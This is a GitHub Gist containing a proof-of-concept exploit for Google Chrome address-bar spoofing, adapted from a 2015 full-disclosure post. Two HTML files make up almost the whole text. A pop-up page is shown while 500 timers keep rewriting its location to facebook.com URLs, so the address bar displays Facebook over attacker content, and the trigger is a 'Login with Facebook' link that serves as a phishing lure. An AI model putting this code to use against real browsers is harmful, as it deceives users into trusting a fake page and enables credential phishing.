Last active
July 5, 2016 02:46
-
-
Save ptantiku/d37c364cd13bb31a1ee6 to your computer and use it in GitHub Desktop.
Google Chrome Address Spoofing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original: http://seclists.org/fulldisclosure/2015/Jun/108 | |
| Modified by: ptantiku | |
| ------------------------------------------------------------------------------------ | |
| content.html | |
| ------------------------------------------------------------------------------------ | |
| <html> | |
| <body> | |
| This is not facebook.com! This is EVIL! | |
| <script> | |
| window.location.href = 'https://facebook.com'; | |
| </script> | |
| </body> | |
| </html> | |
| ------------------------------------------------------------------------------------ | |
| index.html | |
| ------------------------------------------------------------------------------------ | |
| <html> | |
| <head> | |
| <script> | |
| n=0; | |
| threads = []; | |
| function start() { | |
| w = window.open("content.html", "_blank", "width=500 height=500"); | |
| setTimeout("createThreads();", 10); //wait 10ms for the pop-up window to be ready | |
| } | |
| function createThreads() { | |
| for(i=0;i<500;i++){ //create 500 threads | |
| t = setInterval("next();",5); //each will keep changing the URL every 5ms | |
| threads.push(t); | |
| } | |
| } | |
| function next() { | |
| w.location.replace('https://facebook.com/?'+(n++)); //keep changing the URL of the pop-up window | |
| } | |
| function stop() { | |
| //remove all threads | |
| for(i=0;i<threads.length;i++){ | |
| clearInterval(threads[i]); | |
| } | |
| } | |
| </script> | |
| </head> | |
| <body> | |
| <a href="#" onclick="start()">Login with Facebook</a> | |
| <a href="#" onclick="stop()">Stop</a> | |
| </body> | |
| </html> | |
| ------------------------------------------------------------------------------------ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment